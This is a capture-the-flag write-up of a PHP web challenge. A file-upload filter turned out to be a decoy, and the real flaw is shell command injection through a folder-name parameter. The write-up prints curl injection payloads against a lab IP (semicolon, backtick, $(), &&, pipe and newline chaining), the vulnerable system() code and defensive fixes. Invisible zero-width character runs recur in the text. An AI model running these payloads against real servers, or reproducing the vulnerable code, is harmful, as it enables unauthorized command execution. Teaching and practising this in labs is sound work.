Безопасное хранилище (Secure Storage)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Command Injection via catalog parameter, Shell command chaining with semicolon, Misdirection recognition (file upload was red herring)

Summary

The application allows: 1. Creating folders with a random prefix: POST /index.php with catalog=name → creates /folders/RANDOM_name/ 2. Uploading PNG files to folders: POST /index.php with dir_name=RANDOM_name, file=@file.png

Безопасное хранилище (Secure Storage) — HackerLab

Description

"Супер стартап с надёжными фильтрами" (Super startup with reliable filters)

The application allows:

1. Creating folders with a random prefix: POST /index.php with catalog=name → creates /folders/RANDOM_name/
2. Uploading PNG files to folders: POST /index.php with dir_name=RANDOM_name, file=@file.png

Analysis

Red Herring

The task description and functionality clearly hinted at a file upload filter bypass challenge. Extensive testing was performed: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tested techniques (all unsuccessful):

• Double extensions (shell.php.png)
• Null byte injection (shell.php%00.png)
• .htaccess upload
• PNG magic bytes with PHP code
• EXIF injection
• Path traversal in dir_name (worked! files uploaded to parent directories)
• Various Content-Disposition tricks
• Unicode characters in filenames

Why upload bypass didn't work:

• Extension check strictly required .png at the end
• MIME type check required PNG magic bytes
• Even with path traversal, .htaccess files wouldn't upload (extension filter)
• Uploaded PNG files with PHP code didn't execute ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Real Vulnerability: Command Injection

While testing various inputs, command injection was discovered in the catalog parameter:

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test;id"

The response contained: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The catalog parameter is passed to a shell command (likely mkdir) without proper sanitization.

Vulnerability

Command Injection via the catalog parameter when creating a folder.

Presumed Vulnerable Code

 php read-only • copy allowed Copy
<?php
$catalog = $_POST['catalog'];
$random_prefix = bin2hex(random_bytes(8));
$folder_name = $random_prefix . "_" . $catalog;
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// VULNERABLE: direct substitution into shell command
system("mkdir /var/www/html/folders/" . $folder_name);
// or
exec("mkdir /var/www/html/folders/" . $folder_name);
?>

Problem: User input $catalog is directly concatenated into a shell command without escaping.

Solution

Step 1: Discovering Command Injection

 bash read-only • copy allowed Copy
# Check command execution
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test;id"
# Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Finding the Flag

 bash read-only • copy allowed Copy
# Search for flag files
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test;find / -name '*flag*' 2>/dev/null"
# Found: /var/www/flag.txt

Step 3: Reading the Flag

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test;cat /var/www/flag.txt"

Alternative Payloads

 bash read-only • copy allowed Copy
# Using backticks
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test\`cat /var/www/flag.txt\`"

# Using $()
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test\$(cat /var/www/flag.txt)"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Using &&
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test&&cat /var/www/flag.txt"

# Using |
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test|cat /var/www/flag.txt"

# Using newline (%0a)
curl -X POST "http://62.173.140.174:16044/index.php" -d "catalog=test%0acat /var/www/flag.txt"

Lessons

1. Misdirection is a common CTF technique — the task name and description pointed to upload filters, but the real vulnerability was elsewhere
2. Test ALL input parameters — don't focus only on the obvious functionality
3. Command Injection via semicolon — classic shell injection using ; for command chaining
4. Random prefixes = shell commands — if the application adds random strings to names, it likely uses shell for creating files/folders
5. The flag confirms the lesson — REDACTED hints that the author expected time wasted on filters ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

 php read-only • copy allowed Copy
<?php
// NEVER do this:
// system("mkdir /path/" . $_POST['catalog']);

// Correct approach 1: Use PHP functions instead of shell
$catalog = preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['catalog']);
mkdir("/var/www/html/folders/" . $random_prefix . "_" . $catalog);

// Correct approach 2: If shell is necessary - escape
$safe_catalog = escapeshellarg($_POST['catalog']);
system("mkdir /var/www/html/folders/" . $random_prefix . "_" . $safe_catalog);

// Correct approach 3: Whitelist validation
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $_POST['catalog'])) {
    die("Invalid catalog name");
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

• OWASP Command Injection
• PayloadsAllTheThings - Command Injection
• HackTricks - Command Injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍